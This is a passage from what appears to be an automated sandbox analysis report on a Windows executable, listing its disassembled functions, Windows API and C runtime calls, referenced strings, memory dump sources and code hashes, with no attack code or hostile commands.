_wcschr.LIBVCRUNTIME ref: 00B237C6
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,00B64215,000000FF), ref: 00B237DB

Strings

ntdll.dll, xrefs: 00B237B3

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: DirectoryErrorFindHeapLastLibraryLoadProcessResourceSystem_wcschr
String ID: ntdll.dll
API String ID: 3941625479-2227199552
Opcode ID: f9c7209e93886215fa4cd186fb3ab55c6eecbf0a380d91dfd518052ed5ef954b
Instruction ID: d15adb4d459ffe4208dc5f2b54f0c2815077d127de59afb86309d6a1c4709295
Opcode Fuzzy Hash: f9c7209e93886215fa4cd186fb3ab55c6eecbf0a380d91dfd518052ed5ef954b
Instruction Fuzzy Hash: A941D2716006159FDB10DF68DC45BAEB7E4FF14710F1446A9E92A9B2D0EBB49B04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B2621F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 77libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00B21A20: LocalFree.KERNEL32(?), ref: 00B21A42

Part of subcall function 00B43E5A: RaiseException.KERNEL32(E06D7363,00000001,00000003,00B21434,?,?,00B2D341,00B21434,00B78B5C,?,00B21434,?,00000000), ref: 00B43EBA

GetCurrentProcess.KERNEL32(823FDEC6,823FDEC6,?,?,00000000,00B64981,000000FF), ref: 00B262EB

Part of subcall function 00B42C98: EnterCriticalSection.KERNEL32(00B7DD3C,?,?,?,00B223B6,00B7E638,823FDEC6,?,?,00B63D6D,000000FF), ref: 00B42CA3
Part of subcall function 00B42C98: LeaveCriticalSection.KERNEL32(00B7DD3C,?,?,?,00B223B6,00B7E638,823FDEC6,?,?,00B63D6D,000000FF), ref: 00B42CE0

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00B262B0
GetProcAddress.KERNEL32(00000000), ref: 00B262B7

Part of subcall function 00B42C4E: EnterCriticalSection.KERNEL32(00B7DD3C,?,?,00B22427,00B7E638,00B66B40), ref: 00B42C58
Part of subcall function 00B42C4E: LeaveCriticalSection.KERNEL32(00B7DD3C,?,?,00B22427,00B7E638,00B66B40), ref: 00B42C8B
Part of subcall function 00B42C4E: RtlWakeAllConditionVariable.NTDLL ref: 00B42D02

Strings

kernel32, xrefs: 00B262AB
IsWow64Process, xrefs: 00B262A6

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentExceptionFreeHandleLocalModuleProcProcessRaiseVariableWake
String ID: IsWow64Process$kernel32
API String ID: 1333104975-3789238822
Opcode ID: 3b93dfe62091420afa444fce3e45fc74e49e487faae37883a147333fac781f84
Instruction ID: 9ce05376e069c80a424cdfe97b2dbe615168039a6ae28565b0f308f050b35289
Opcode Fuzzy Hash: 3b93dfe62091420afa444fce3e45fc74e49e487faae37883a147333fac781f84
Instruction Fuzzy Hash: 2521C371D45615DFDB10DF94ED06B5D77F8EB18B10F2006A9F829A32E0DF7499008A61

Uniqueness

Uniqueness Score: -1.00%

Function 00B38451 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B38458
_Getvals.LIBCPMT ref: 00B384AA
_Mpunct.LIBCPMT ref: 00B384E5
_Mpunct.LIBCPMT ref: 00B384FF

Strings

$+xv, xrefs: 00B3850A

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Mpunct$GetvalsH_prolog3
String ID: $+xv
API String ID: 2204710431-1686923651
Opcode ID: b1129f91ea126eeb554a3c36a1acc78a5c8196c1dbdbaa4ebbefd35c09dcf15d
Instruction ID: d3163adeb05508111cb5c556a5a824516c51055c4df1e9511c41312ca8914a91
Opcode Fuzzy Hash: b1129f91ea126eeb554a3c36a1acc78a5c8196c1dbdbaa4ebbefd35c09dcf15d
Instruction Fuzzy Hash: 0621D6B1804B926EDB21DF74C89073BBEF8AB08300F144A9AF499C7A42D774E601CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00B26250 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(823FDEC6,823FDEC6,?,?,00000000,00B64981,000000FF), ref: 00B262EB

Part of subcall function 00B42C98: EnterCriticalSection.KERNEL32(00B7DD3C,?,?,?,00B223B6,00B7E638,823FDEC6,?,?,00B63D6D,000000FF), ref: 00B42CA3
Part of subcall function 00B42C98: LeaveCriticalSection.KERNEL32(00B7DD3C,?,?,?,00B223B6,00B7E638,823FDEC6,?,?,00B63D6D,000000FF), ref: 00B42CE0

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00B262B0
GetProcAddress.KERNEL32(00000000), ref: 00B262B7

Part of subcall function 00B42C4E: EnterCriticalSection.KERNEL32(00B7DD3C,?,?,00B22427,00B7E638,00B66B40), ref: 00B42C58
Part of subcall function 00B42C4E: LeaveCriticalSection.KERNEL32(00B7DD3C,?,?,00B22427,00B7E638,00B66B40), ref: 00B42C8B
Part of subcall function 00B42C4E: RtlWakeAllConditionVariable.NTDLL ref: 00B42D02

Strings

kernel32, xrefs: 00B262AB
IsWow64Process, xrefs: 00B262A6

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentHandleModuleProcProcessVariableWake
String ID: IsWow64Process$kernel32
API String ID: 2056477612-3789238822
Opcode ID: f8db9dd94ea304bd2a2617b046a0167fe5bc93865544779a5f43d254f31bd0d5
Instruction ID: 3e4603376a1073161ca0e48e6ee08dc1f96679e511db0d77662082607b980ee4
Opcode Fuzzy Hash: f8db9dd94ea304bd2a2617b046a0167fe5bc93865544779a5f43d254f31bd0d5
Instruction Fuzzy Hash: 7111A2B2D48614DFDB10CF94ED45B99B7F8FB18B10F2006AAE829936D0EB75A900CA51

Uniqueness

Uniqueness Score: -1.00%

Function 00B469E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00B46AA3,?,?,00B7DDCC,00000000,?,00B46BCE,00000004,InitializeCriticalSectionEx,00B697E8,InitializeCriticalSectionEx,00000000), ref: 00B46A72

Strings

api-ms-, xrefs: 00B46A32

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: b3618b4c3fa86e55df07252a4ce2d793281682683236c54c7b4b2b1ba6d15781
Instruction ID: 1db86c2b66c27d815d1036fc47b0967c44ab4e7ce38180e291399f1147bff880
Opcode Fuzzy Hash: b3618b4c3fa86e55df07252a4ce2d793281682683236c54c7b4b2b1ba6d15781
Instruction Fuzzy Hash: F9119131A45A25ABDF228B689C41B5933E8DF13760F1442A0F954BB2C0DBB4EF009AD6

Uniqueness

Uniqueness Score: -1.00%

Function 00B52DEE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,823FDEC6,?,?,00000000,00B66A6C,000000FF,?,00B52DC1,?,?,00B52D95,?), ref: 00B52E23
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B52E35
FreeLibrary.KERNEL32(00000000,?,00000000,00B66A6C,000000FF,?,00B52DC1,?,?,00B52D95,?), ref: 00B52E57

Strings

CorExitProcess, xrefs: 00B52E2D
mscoree.dll, xrefs: 00B52E1C

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 4a0066416508306c813363476425db9a6c3bd44e60b474c11e38b04f4c129ca4
Instruction ID: d7aba78acce08c2763b1302594dcf741cf7a334c6cbc0cbe232b121011e67c6c
Opcode Fuzzy Hash: 4a0066416508306c813363476425db9a6c3bd44e60b474c11e38b04f4c129ca4
Instruction Fuzzy Hash: 2A016771958619ABDB129F50DC05FAEBBF8FB05B15F044565F811F32E0DFB89900CA90

Uniqueness

Uniqueness Score: -1.00%

Function 00B56DB9 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00B56E40
__alloca_probe_16.LIBCMT ref: 00B56F01
__freea.LIBCMT ref: 00B56F68

Part of subcall function 00B55BDC: RtlAllocateHeap.NTDLL(00000000,00000000,00B53841,?,00B5543A,?,00000000,?,00B46CE7,00000000,00B53841,00000000,?,?,?,00B5363B), ref: 00B55C0E

__freea.LIBCMT ref: 00B56F7D
__freea.LIBCMT ref: 00B56F8D

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 3cdfa793047a447d4291b4b64d2f15a31aaf0739be61511a43870f0c4b943274
Instruction ID: 9d6d42fa8920ca65a41f24abae2aa6b632ce684ffec4bd2cd3cd895dabba42a3
Opcode Fuzzy Hash: 3cdfa793047a447d4291b4b64d2f15a31aaf0739be61511a43870f0c4b943274
Instruction Fuzzy Hash: 8D51AE72A00206AFEB259FA4DC82FBF3BE9EB04752B5501E8BC04D7150EB71CD189660

Uniqueness

Uniqueness Score: -1.00%

Function 00B2B8B0 Relevance: 7.6, APIs: 5, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B2B8DD
std::_Lockit::_Lockit.LIBCPMT ref: 00B2B900
std::_Lockit::~_Lockit.LIBCPMT ref: 00B2B928
std::_Facet_Register.LIBCPMT ref: 00B2B98D
std::_Lockit::~_Lockit.LIBCPMT ref: 00B2B9B7

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 63834b17ba7b674a75bbd0d8517118fb3e2f01c79040e739dd1b807bee3ac719
Instruction ID: 30fd641cbfb94ab9addbb5d7215daf944223535f4672936454daaa41776043c1
Opcode Fuzzy Hash: 63834b17ba7b674a75bbd0d8517118fb3e2f01c79040e739dd1b807bee3ac719
Instruction Fuzzy Hash: 5A31D231900228DFCB11DF58E951BADBBF4EF24724F2441D9E918672A1DB30AE81CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B25890 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?,75474450,00B25646,?,?,?,?,?), ref: 00B25898

Strings

Call to ShellExecuteEx() returned:, xrefs: 00B258AF
true, xrefs: 00B258A7, 00B258B6
false, xrefs: 00B258A2
Last error=, xrefs: 00B258D9

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ErrorLast
String ID: Call to ShellExecuteEx() returned:$Last error=$false$true
API String ID: 1452528299-1782174991
Opcode ID: 3102418f99e2691af494b26f39ef21dd54e5e6294cf06d9d24451329acccbc79
Instruction ID: 818b449e7a08e7ee93e77d217f3f0913a9c461cc1d6c8be896196dc6edf81ad9
Opcode Fuzzy Hash: 3102418f99e2691af494b26f39ef21dd54e5e6294cf06d9d24451329acccbc79
Instruction Fuzzy Hash: D5118E56A1063587CB302F6CA800376A2E4DF50754F6548BFE88DDB391EAF98CC18394

Uniqueness

Uniqueness Score: -1.00%

Function 00B31C42 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00B31C62
_Maklocstr.LIBCPMT ref: 00B31C7F
_Maklocstr.LIBCPMT ref: 00B31C9C
_Maklocchr.LIBCPMT ref: 00B31CAE
_Maklocchr.LIBCPMT ref: 00B31CC1

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Maklocstr$Maklocchr
String ID:
API String ID: 2020259771-0
Opcode ID: 75039ecfe63db4079116fa53f77d53b71aceda7ee8d8d86c9e21e9b459d762b8
Instruction ID: 15bfc53490fd6fc6df991da00b12a20b058d5b78bcf88a4d187c88e14e559faa
Opcode Fuzzy Hash: 75039ecfe63db4079116fa53f77d53b71aceda7ee8d8d86c9e21e9b459d762b8
Instruction Fuzzy Hash: BF11A0B2940794BFE720DBA9C881F12B7ECEF04350F280999F649CBA41D275FC5087A9

Uniqueness

Uniqueness Score: -1.00%

Function 00B2D87C Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B2D883
std::_Lockit::_Lockit.LIBCPMT ref: 00B2D88D

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

numpunct.LIBCPMT ref: 00B2D8C7
std::_Facet_Register.LIBCPMT ref: 00B2D8DE
std::_Lockit::~_Lockit.LIBCPMT ref: 00B2D8FE

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: 997f840934198602fd2e2522f257cec440d9961bae2683d9002c80b2369e3af5
Instruction ID: 4eca31e01553ec6d2eb32eca6f5ca3fae05dccc11efecd11d42ebeb15338c6dd
Opcode Fuzzy Hash: 997f840934198602fd2e2522f257cec440d9961bae2683d9002c80b2369e3af5
Instruction Fuzzy Hash: A411CE35900229DFCB08FB64A8616BE77F0FF84710F240499E4186B291CF749E008B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B322FA Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32301
std::_Lockit::_Lockit.LIBCPMT ref: 00B3230B

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

codecvt.LIBCPMT ref: 00B32345
std::_Facet_Register.LIBCPMT ref: 00B3235C
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3237C

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: bf5024d4c414189240e9fa81042a38ea7b751166e347da3813682fa6242e924a
Instruction ID: 6151922555fd80fd301542f3c580e4af2a09c4dd32635290952439368df75fdb
Opcode Fuzzy Hash: bf5024d4c414189240e9fa81042a38ea7b751166e347da3813682fa6242e924a
Instruction Fuzzy Hash: 1001AD359001299FCB15AB64A851ABEB7F1AF84B20F240589E518AB291CF789E008B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B3238F Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32396
std::_Lockit::_Lockit.LIBCPMT ref: 00B323A0

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

codecvt.LIBCPMT ref: 00B323DA
std::_Facet_Register.LIBCPMT ref: 00B323F1
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32411

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 856d80a25d254a0ad933c5039299c814f2bfd186e8a14e82cdea29088eb2f7d2
Instruction ID: 9d0533c98a7f3bf42f3e15bce01f766fb7e9c698d44adcb515704eea0c5b4927
Opcode Fuzzy Hash: 856d80a25d254a0ad933c5039299c814f2bfd186e8a14e82cdea29088eb2f7d2
Instruction Fuzzy Hash: 38010C32A00129DFCB04EB6498516BEB7F0FF84B20F380488E5196B2D1CFB89E44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B324B9 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B324C0
std::_Lockit::_Lockit.LIBCPMT ref: 00B324CA

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

collate.LIBCPMT ref: 00B32504
std::_Facet_Register.LIBCPMT ref: 00B3251B
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3253B

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 49716626864c88f18a6b621498ccd982c81bd39db475c3ddf9cdb11a5d14c002
Instruction ID: 891039dd8b435a6e997bf09db1b3415693e49923a555df53cb91ef0083267695
Opcode Fuzzy Hash: 49716626864c88f18a6b621498ccd982c81bd39db475c3ddf9cdb11a5d14c002
Instruction Fuzzy Hash: DE01C031901129DBCB05EB64E8556BEB7F0FF94720F350489E5146B291CF749F408B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B32424 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3242B
std::_Lockit::_Lockit.LIBCPMT ref: 00B32435

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

collate.LIBCPMT ref: 00B3246F
std::_Facet_Register.LIBCPMT ref: 00B32486
std::_Lockit::~_Lockit.LIBCPMT ref: 00B324A6

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: ca7e612f7e1027b65902dd1ee16b4071801e100a6e5153f2ec03f4454af7eb4d
Instruction ID: ceaba4a995b7eb393a18210a6eb3a36ddde2e63ac603ef73ce056a1f8fa55cd4
Opcode Fuzzy Hash: ca7e612f7e1027b65902dd1ee16b4071801e100a6e5153f2ec03f4454af7eb4d
Instruction Fuzzy Hash: C201AD35900129DBCB01AB64E8516BEBBF0AF84720F380489E5156B391DFB49E00CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B325E3 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B325EA
std::_Lockit::_Lockit.LIBCPMT ref: 00B325F4

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

messages.LIBCPMT ref: 00B3262E
std::_Facet_Register.LIBCPMT ref: 00B32645
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32665

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 3b31f5a75a5a47b53d977e3d3419ed5bddf843166ff0b9813704297aff99a519
Instruction ID: 6d9debaeec9d0814ddff32093b10cd729699ca70312d36f2ac2e303b5915ad4a
Opcode Fuzzy Hash: 3b31f5a75a5a47b53d977e3d3419ed5bddf843166ff0b9813704297aff99a519
Instruction Fuzzy Hash: D501C0359001299BCB01EB649822ABEB7F0FF94710F244489F4156B291CF749E00CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B3254E Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32555
std::_Lockit::_Lockit.LIBCPMT ref: 00B3255F

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
